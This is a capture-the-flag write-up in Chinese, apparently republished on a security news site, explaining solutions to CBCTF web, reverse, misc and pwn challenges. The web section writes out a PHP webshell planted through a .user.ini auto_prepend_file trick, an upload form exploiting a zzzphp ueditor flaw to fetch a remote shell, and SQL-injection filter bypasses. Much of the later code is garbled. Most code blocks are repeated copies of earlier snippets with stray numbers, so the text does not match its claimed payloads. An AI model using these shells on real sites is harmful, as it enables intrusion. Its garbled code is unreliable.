第三届CBCTF官方WP – 安全客,安全资讯平台 | xxx第三届CBCTF官方WP – 安全客,安全资讯平台 – xxx
菜单

第三届CBCTF官方WP – 安全客,安全资讯平台

八月 6, 2020 - 安全客

第三届CBCTF官方WP - 安全客,安全资讯平台

 

web

尖尖的商店 1&&2

因为其他题出的人太少,临时出的题…师傅们都 tql,我出完甚至还没做一遍,就有师傅出了

都是只要把 money 字段改大就可以拿 flag,

1 直接改 cookie 就好,2 用了 session,request.url 默认 url 编码了,就不能之间触发 ssti,所以放在了 referer,为了不让师傅们很恶心的找触发点,就给了部分源码.

具体怎么构造,参考这篇文章

https://www.cnblogs.com/zaqzzz/p/10243961.html

Easy-Baby-Signin

第三届CBCTF官方WP - 安全客,安全资讯平台

套娃一 :401 验证,需要输入账号密码。此处使用 BP 抓包爆破,使用自定义迭代器构造 payload,再进行 base64 加密。账户为 admin 密码为 12345678 开头的东西。

第三届CBCTF官方WP - 安全客,安全资讯平台

套娃二 :参考了DDCTF的某个WEB的第一步。URL 处存在参数 jpg,base64 解码两次得到 666C61672E6A7067,Hex 解码得到 flag.jpg。

第三届CBCTF官方WP - 安全客,安全资讯平台

尝试读取源码 index.php,构造 TmprMlpUWTBOalUzT0RKbE56QTJPRGN3,得到 index.php 源码,发现 magicword.txt 存在

第三届CBCTF官方WP - 安全客,安全资讯平台

套娃三: 纯纯的反序列化

第三届CBCTF官方WP - 安全客,安全资讯平台

构造脚本生成 payload

<?php  class icanhear {      var $mykey;      var $myword;      function icanhear()      {      $this->mykey=&$this->myword;      }      }  echo serialize(new icanhear()); //O:8:"icanhear":2:{s:5:"mykey";N;s:6:"myword";R:2;}  ?> 

第三届CBCTF官方WP - 安全客,安全资讯平台

套娃四:

第三届CBCTF官方WP - 安全客,安全资讯平台

需要爆破 md5 前 6 位是 1024cc 的数字

构造 python 脚本

from hashlib import md5  for i in range(100000000):  if md5(str(i)).hexdigest()[:6]=='1024cc':    print (i)    break 

得到 flag2 是 790058

第三届CBCTF官方WP - 安全客,安全资讯平台

最终 FLAG: flag{wa0_7900588_is_right}

Hacked_By_Wendell

第三届CBCTF官方WP - 安全客,安全资讯平台

Hint1: 不需要注册,寻找网站薄弱的地方

Hint2: 源于一个很古老的洞

这题和 dangerous-function 都是 zzzphp 的 0day,所有两题给了一份源码审,然后再题目里把对方的洞删掉了。这题其实这题的洞在/plugins/ueditor/php/controller.php 下的 catchimage,也就是类似老版本的 ueditor 的文件上传漏洞。

代码审计:

第三届CBCTF官方WP - 安全客,安全资讯平台

首先跟进 controller.php 下的 down_url 函数,其在/inc/zzz_file.php

其使用 file_ext 函数限制上传后缀, file_name 函数确定文件名,继续跟进

第三届CBCTF官方WP - 安全客,安全资讯平台

同文件下的 file_ext 函数,其会判断?的存在,若存在,则后缀名是?前面的 . 后面的东西。

第三届CBCTF官方WP - 安全客,安全资讯平台

继续查看 file_name 函数,就是此函数造成的上传漏洞,具体可以看例子。

第三届CBCTF官方WP - 安全客,安全资讯平台

第三届CBCTF官方WP - 安全客,安全资讯平台

此处 path=http://127.0.0.1/123.jpg?/123.php
但返回的文件名为 123.php

解题:

编写一个 HTML 文件来上传恶意文件

<form action="http://47.52.161.149:10001/plugins/ueditor/php/controller.php?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">  shell addr: <input type="text" name="source[]" />  <input type="submit" value="Submit" />  </form> 

远程服务器上放个 info.jpg 的马,上传的时候要写的 info.jpg?/123.php

第三届CBCTF官方WP - 安全客,安全资讯平台

Getshell 以后就能找到 flag

第三届CBCTF官方WP - 安全客,安全资讯平台

Hacked_By_V

第三届CBCTF官方WP - 安全客,安全资讯平台

这题是 EJUCMS 的 0day(CNVD-2020-44337),虽然给了源码,但不用审也能做,毕竟很明显提示是后台,而后台能交互文件的地方不多,挖过 CMS 的应该很快能猜到是模板处存在漏洞。

代码审计: /application/admin/controller/Filemanager.php

第三届CBCTF官方WP - 安全客,安全资讯平台

此处对编辑的文件位置、后缀等做了限制

其中利用 str_replace 限制目录穿越没啥用,利用/template/../可直接在根目录下写文件

/application/admin/logic/FilemanagerLogic.php

白名单规定了后缀名,利用 ini 进行 getshell

第三届CBCTF官方WP - 安全客,安全资讯平台

解题:

第三届CBCTF官方WP - 安全客,安全资讯平台

进入后对任意 htm 文件进行编辑并抓包,目标是找到一个有 php 文件的目录,再利用.user.ini 来写马

有些目录权限是不能写,所以多找几个叭。

修改 POST 数据为

activepath=/template/../data/schema&filename=.user.ini&content=auto_prepend_file=12321.htm&_ajax=1 

再次发一个包,修改数据为

activepath=/template/../data/schema&filename=12321.htm&content=<?php $fun = create_function('',$_POST['a']);$fun();?>&_ajax=1 

第三届CBCTF官方WP - 安全客,安全资讯平台

Getshell 在网站根目录下可见 flag。

第三届CBCTF官方WP - 安全客,安全资讯平台

sqli-labs

user 表(大概):

iduserpassflag
1xxxxxxflag{you_get_the_flag}

先是 and or & |被过滤,导致逻辑表达会有些麻烦,但是我们依然有异或运算符^,由于 id 字段是字符串,在 mysql 中与 0 等价,由于 0^1=1,0^0=0,故语句的真假就是查询结果的真假

由于 flag 被过滤,无法用 select flag from user 来查 flag,所以要用别名代替,但是别名代替有 select 1,2,3,4 有逗号,所以用 join 再代替(空格换成 / a / 即可):

union select * from (select 1)a join (select 2)b join (select 3)c%23 

等同于:

union select 1,2,3 

同样

limit 1 offset 2 

等同于:

limit 2,1 

以及

substr(database() from 5 for 1) 

等同于:

from hashlib import md5  for i in range(100000000):  if md5(str(i)).hexdigest()[:6]=='1024cc':    print (i)    break 

0

因此 payload 构造如下:

from hashlib import md5  for i in range(100000000):  if md5(str(i)).hexdigest()[:6]=='1024cc':    print (i)    break 

1

但是你会发现 from 1 for 1 那里,or 被过滤,for 也不能用了,所以可以用 regexp 或者 like 来单字符盲注。

于是 payload 大体是这样的(空格用 / 什么都行 / 代替即可):

from hashlib import md5  for i in range(100000000):  if md5(str(i)).hexdigest()[:6]=='1024cc':    print (i)    break 

2

然而这还不是时间盲注,我们可以考虑用下面笛卡尔积这种大量运算的方法去延时:

from hashlib import md5  for i in range(100000000):  if md5(str(i)).hexdigest()[:6]=='1024cc':    print (i)    break 

3

由于 or 被过滤,所以 information_schema 无法使用,可用 mysql 数据库中的 help_topic(这是一张更大的表)来代替:

from hashlib import md5  for i in range(100000000):  if md5(str(i)).hexdigest()[:6]=='1024cc':    print (i)    break 

4

意外地发现%也被过滤掉了(出题人挖坑自己都不知道系列),所以用 regexp 来绕过。

from hashlib import md5  for i in range(100000000):  if md5(str(i)).hexdigest()[:6]=='1024cc':    print (i)    break 

5

然后你会发现,笛卡尔积的方式也有逗号

于是我们发现了新的笛卡尔积方法:

from hashlib import md5  for i in range(100000000):  if md5(str(i)).hexdigest()[:6]=='1024cc':    print (i)    break 

6

这种笛卡尔积是不允许同一个表 cross join 自己的,但是起个别名就可以了

from hashlib import md5  for i in range(100000000):  if md5(str(i)).hexdigest()[:6]=='1024cc':    print (i)    break 

7

所以最终的 payload:

(本题的 mysql 服务似乎和本地的不太一样,mysql_help*表不管有多少都能秒出结果,无法造成延时,所以再连接一个其他的表比如 innodb_table_stats 就可以造成超长延时。。下面这个 payload 是测试过的延时时间比较合理的,3 秒左右)

from hashlib import md5  for i in range(100000000):  if md5(str(i)).hexdigest()[:6]=='1024cc':    print (i)    break 

8

写脚本的一些注意事项:

由于过滤了 flag,所以脚本不能出现 flag,即从头开始^f. 到^fla. 一直到^flag. 时,flag * 会被过滤,所以要避开,用.来代替:^fla.{.*

然后在匹配数字的时候,要加反斜杠/,或者用括号括起来,因为 SQL 正则本身数字属于特殊字符

然后正则默认是不区分大小写的,所以你直接 regexp 得到的结果是不正确的,要加上 binary 字段:regexp binary xxx 才区分大小写

dangerous-function

from hashlib import md5  for i in range(100000000):  if md5(str(i)).hexdigest()[:6]=='1024cc':    print (i)    break 

9

题目是危险函数,最常见的是 eval system 吧,那么搜搜

第三届CBCTF官方WP - 安全客,安全资讯平台

然后这一段代码

<form action="http://47.52.161.149:10001/plugins/ueditor/php/controller.php?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">  shell addr: <input type="text" name="source[]" />  <input type="submit" value="Submit" />  </form> 

0

解析 if 标签,先是正则匹配标签,然后用 danger_key 函数过滤掉危险输入,最后在 `eval` 函数中执行
过滤了很多关键词(这里比官方加强了一些)

<form action="http://47.52.161.149:10001/plugins/ueditor/php/controller.php?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">  shell addr: <input type="text" name="source[]" />  <input type="submit" value="Submit" />  </form> 

1

构造可以自己看正则,也可以看官方文档
http://help.zzzcms.com/259324搜索 if 即可找到

<form action="http://47.52.161.149:10001/plugins/ueditor/php/controller.php?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">  shell addr: <input type="text" name="source[]" />  <input type="submit" value="Submit" />  </form> 

2

到这里应该能知道这是模板注入,而页面中只有搜索框可以注入
这里主要用到动态函数 多次调试后可以得到 flag

方法应该很多

<form action="http://47.52.161.149:10001/plugins/ueditor/php/controller.php?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">  shell addr: <input type="text" name="source[]" />  <input type="submit" value="Submit" />  </form> 

3

ezcalc

出这个是因为想着是新生赛,让大家多接触一些新的东西,,就把以前 node 遇到的 trick 拼一拼 (然而好像没新生做

考点就:正则绕过+vm2 逃逸,但是那个依赖挺多坑的,也可能是因为我不熟,题目还因为这个中途下了一次,最后直接给了 dockerfile

第一层

<form action="http://47.52.161.149:10001/plugins/ueditor/php/controller.php?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">  shell addr: <input type="text" name="source[]" />  <input type="submit" value="Submit" />  </form> 

4

因为可以使用 Math.随便什么单词,所以可以获取到Math.constructor,获取两次后,就是 Function 对象,就可以可以任意代码执行

然后利用箭头的特性,绕过过滤

<form action="http://47.52.161.149:10001/plugins/ueditor/php/controller.php?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">  shell addr: <input type="text" name="source[]" />  <input type="submit" value="Submit" />  </form> 

5

就可以执行任意代码了,之后还有 vm2 的限制

参考

https://github.com/patriksimek/vm2/issues/268

这个 issues 绕过

<form action="http://47.52.161.149:10001/plugins/ueditor/php/controller.php?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">  shell addr: <input type="text" name="source[]" />  <input type="submit" value="Submit" />  </form> 

6

注意结果要用 return 返回

最后 payload

<form action="http://47.52.161.149:10001/plugins/ueditor/php/controller.php?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">  shell addr: <input type="text" name="source[]" />  <input type="submit" value="Submit" />  </form> 

7

ezflask

出这个题是想自己挖一点新的的东西,出来,然后看了 python 源码剖析,本来的想法是利用 code 类,构造字节码执行命令,,但是后来发现其实不用找基类就可以执行任意命令,就没那样出,然后这个 trick 出给别的地方了,当时还有另一个想法,就是没有 requests,chr,还能不能构造任意字符呢,然后为了增加难度,就随手 ban 了+,_,自己试着挖出来一种利用方式,就有了这个题,

<form action="http://47.52.161.149:10001/plugins/ueditor/php/controller.php?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">  shell addr: <input type="text" name="source[]" />  <input type="submit" value="Submit" />  </form> 

8

写个脚本

<form action="http://47.52.161.149:10001/plugins/ueditor/php/controller.php?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">  shell addr: <input type="text" name="source[]" />  <input type="submit" value="Submit" />  </form> 

9

最终 paylaod

activepath=/template/../data/schema&filename=.user.ini&content=auto_prepend_file=12321.htm&_ajax=1 

0

 

re

白给.exe

直接在程序里就可以找到 flag

用 ida 查看。第一个在 data 段,第二个在 main 函数的反汇编窗口中可以看见。

flag{kjdfeoijfeoncknafljfsdklf679756876}

98 年的,我玩不过她

activepath=/template/../data/schema&filename=.user.ini&content=auto_prepend_file=12321.htm&_ajax=1 

1

主函数最后给出了比较的字符串“I_love_y&u”

activepath=/template/../data/schema&filename=.user.ini&content=auto_prepend_file=12321.htm&_ajax=1 

2

取出 flag 中间部分,去掉 flag{}

主要类似 VM 的题的部分在这里

activepath=/template/../data/schema&filename=.user.ini&content=auto_prepend_file=12321.htm&_ajax=1 

3

其实这题基本上已经不需要逆向的思维了,直接写个类似的代码跑出来答案一一对比就好了,具体代码就不写了,手算也可以做出来。

flag{1_hatE_you}

four steps.exe

主函数伪代码如下:

activepath=/template/../data/schema&filename=.user.ini&content=auto_prepend_file=12321.htm&_ajax=1 

4

将 0~255 放到一个数组中,再讲奇数位和 255-该奇数位进行一次换位,形成当前的一个随机数盒。

flag 输入的前四位的每一位作为随机数盒的下标得到的随机数盒的值和 6 进行异或,最后得出来的值进行比较。

第二个加密函数

activepath=/template/../data/schema&filename=.user.ini&content=auto_prepend_file=12321.htm&_ajax=1 

5

这个函数有点类似解方程,把它列出来可以找找突破口(嘤嘤嘤,太懒了,懒得写出来了)。

第三个加密函数

activepath=/template/../data/schema&filename=.user.ini&content=auto_prepend_file=12321.htm&_ajax=1 

6

这个是换了表的 base64 编码,可以用解密软件来算答案。

最后一个加密部分如下:

activepath=/template/../data/schema&filename=.user.ini&content=auto_prepend_file=12321.htm&_ajax=1 

7

for 循环对最后四个数字进行数字的十位和个位的交换。

flag:flag{answer_me!}

tea.exe(0 解)

第一个加密函数中给出了字符串,进行小写变大写,_变空格操作后成为新的字符串。

往下可以看到给出的表,总共 66 位,然后我写 wp 的时候发现题目有问题,所以这题作废了,就当做这道题没存在。(尴尬)

mov.exe(0 解)

这个题懒得写了,全靠感觉和经验。(虽然我也不会)

很困扰人的 mov 混淆,目前好像没有效果很好的反混淆程序。考虑到这点题目代码很简单,源代码如下:

activepath=/template/../data/schema&filename=.user.ini&content=auto_prepend_file=12321.htm&_ajax=1 

8

mov 虽然让程序变得混乱,但是关键部位还是可以找到规律。

flag{welcome_to_reverse}

 

misc

Hacked_By_PTT0

第三届CBCTF官方WP - 安全客,安全资讯平台

Hint: 看看里面几个比较大的东西

朴实无华流量分析,没准大佬能看出这题的流量是 Netsparker 的扫描流量。其中有个 shell.php,然后上传了一个 Hacked_By_PTT0.doc,然后 flag 伪装成了一个 doc 的配置文件。

解题:

面对一堆流量包,可以直接字符串搜索一下关键字 flag、shell、upload 啥的,这里用 shell、upfile、sql 等都可直接定位到 shell 文件。

第三届CBCTF官方WP - 安全客,安全资讯平台

追踪 HTTP 流,可以看到其中有一个 POST 请求包含 upfiles,继续查看可发现上传了一个 doc 文件.

第三届CBCTF官方WP - 安全客,安全资讯平台

对 Data 右键,导出分组字节流,保存为 bin 文件

第三届CBCTF官方WP - 安全客,安全资讯平台

改后缀为.zip,解压得到 doc 得配置文件。熟悉 doc、一个个试或用工具都能发现其 jquerySettings.xml 是一个 PNG 格式的文件

第三届CBCTF官方WP - 安全客,安全资讯平台

但是改成 PNG 会打不开,用 winhex 分析,此处多了个 20

第三届CBCTF官方WP - 安全客,安全资讯平台

打开即可得到 flag{S0_sO_eAsy_MISc?}

第三届CBCTF官方WP - 安全客,安全资讯平台

α层

Description

这波啊,这波在阿尔法层

Analyze

第三届CBCTF官方WP - 安全客,安全资讯平台

第三届CBCTF官方WP - 安全客,安全资讯平台

Solve

没啥难的,加个异或或者阿尔法图层就出了

flag

activepath=/template/../data/schema&filename=.user.ini&content=auto_prepend_file=12321.htm&_ajax=1 

9


我的二维码,时尚时尚最时尚

Description

二维码真的好玩,于是尖尖自己设计了一个二维码,你能扫出来吗?

Analyze

第三届CBCTF官方WP - 安全客,安全资讯平台

看似正常的二维码,foremost 后得到

第三届CBCTF官方WP - 安全客,安全资讯平台

易看出是掩码,根据二维码的规则异或即可。

Solve

脚本一把梭

activepath=/template/../data/schema&filename=12321.htm&content=<?php $fun = create_function('',$_POST['a']);$fun();?>&_ajax=1 

0

flag

activepath=/template/../data/schema&filename=12321.htm&content=<?php $fun = create_function('',$_POST['a']);$fun();?>&_ajax=1 

1


make_misc_great_again

Description

神秘代码 1whGlIjZ1ReEiTUSXxSbZUw/vnz4

Analyze

贴吧老司机都知道了,是百度云盘的分享链接后缀,加上 https://pan.baidu.com/s/后得到下载地址, / 后是提取密码,然后是一个压缩包,很容易想到是内存取证类型的题。解压后是一个镜像和另一个压缩包,然后因为出题时间比较久远,所以有一个非预期(求轻虐)。即直接 strings flag??.raw | grep flag
即可得到 flag,原因是当时制作镜像的时候未清理粘贴板记录,导致了该非预期。预期解应该是通过 volatility 找到系统密码,解压压缩包。详细操作见 https://blog.51cto.com/13352079/2434792?source=dra。解压后是一个 bitLocker 的虚拟硬盘,猜测密码仍在镜像中,此处可以用 Elcomsoft Forensic Disk Decryptor 工具直接提取出 key,然后打开后看隐藏文件即可得到 flag。

flag

activepath=/template/../data/schema&filename=12321.htm&content=<?php $fun = create_function('',$_POST['a']);$fun();?>&_ajax=1 

2


Broken RedLine

Description

尖尖的红线断开了,呜呜呜呜呜呜呜

Analyze

图片名称为 Find_right_width_and_hieht_by_CRC32.png,于是用 crc32 的脚本爆破出宽高

activepath=/template/../data/schema&filename=12321.htm&content=<?php $fun = create_function('',$_POST['a']);$fun();?>&_ajax=1 

3

得到其宽为 1440,高为 960

第三届CBCTF官方WP - 安全客,安全资讯平台

然后上面有很多的红线,尝试将所有红线移到下方即可得到 flag

Solve

activepath=/template/../data/schema&filename=12321.htm&content=<?php $fun = create_function('',$_POST['a']);$fun();?>&_ajax=1 

4

第三届CBCTF官方WP - 安全客,安全资讯平台

flag

activepath=/template/../data/schema&filename=12321.htm&content=<?php $fun = create_function('',$_POST['a']);$fun();?>&_ajax=1 

5


sign_in

Description

66 6c 61 67 7b 39 35 63 35 62 66 33 32 32 39 32 64 37 35 66 35 37 61 35 30 36 37 36 66 36 61 62 35 64 64 38 33 7d

Analyze

转 16 进制

flag

activepath=/template/../data/schema&filename=12321.htm&content=<?php $fun = create_function('',$_POST['a']);$fun();?>&_ajax=1 

6


加 密 对 话

Description

阿巴阿巴歪比巴布

Analyze

第一部分是简单的替换密码,替换回二进制即可,第二部分是 javaAES 解密,根据给的 AES 加密即可

Solve

替换密码:

activepath=/template/../data/schema&filename=12321.htm&content=<?php $fun = create_function('',$_POST['a']);$fun();?>&_ajax=1 

7

得到

activepath=/template/../data/schema&filename=12321.htm&content=<?php $fun = create_function('',$_POST['a']);$fun();?>&_ajax=1 

8

flag{b80c4dd8b4a445f8041ebca018791e38}

pwn

backdoor

考点:数组越界、栈残留数据

分析:在 func1 中输入的字符串,函数返回后还会留在内存空间,绕过 func2 验证,之后将返回地址修改为后门函数

exp:

activepath=/template/../data/schema&filename=12321.htm&content=<?php $fun = create_function('',$_POST['a']);$fun();?>&_ajax=1 

9

suggestion_box

考点:栈迁移

分析:

1.第一次输入在 bss 中布置好泄露地址和 getshell 的 rop 链

2.第二次输入劫持返回地址后用两个 leave ret “ 把栈迁移到 bss 段

exp:

union select * from (select 1)a join (select 2)b join (select 3)c%23 

0

BabyTcache

考点:

Tcache、构造重叠的堆块、利用 IO_FILE 结构体泄露 libc

分析:

1.利用改写 IO_write_base 泄露 libc

2.利用程序中的 Off by one 漏洞实现 double free

3.可以通过申请 7 个以上的 chunk 或者改写 chunk size 绕过程序对申请 chunk 大小的限制

exp:

union select * from (select 1)a join (select 2)b join (select 3)c%23 

1

Containers

框架与 De1ctf 的 STL Containers 一样,漏洞是常见的 C++程序错误:含有指针类型的对象需要实现深拷贝函数和赋值运算符重载,否则在使用 STL 函数时实际上传递的只是指针,所指向的内存空间是相同的,就会造成 double free。在这道题的源码中没有实现赋值运算符重载函数,在 vector 的 add 操作中通过赋值运算后再传递给 push_back 函数。实际上,如果觉得 C++反汇编代码分析起来比较费时可以直接运行调试,不难发现这一点。接下来就是利用漏洞点,泄露地址后改写 free_hook 为 system 函数。

exp:

union select * from (select 1)a join (select 2)b join (select 3)c%23 

2


Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51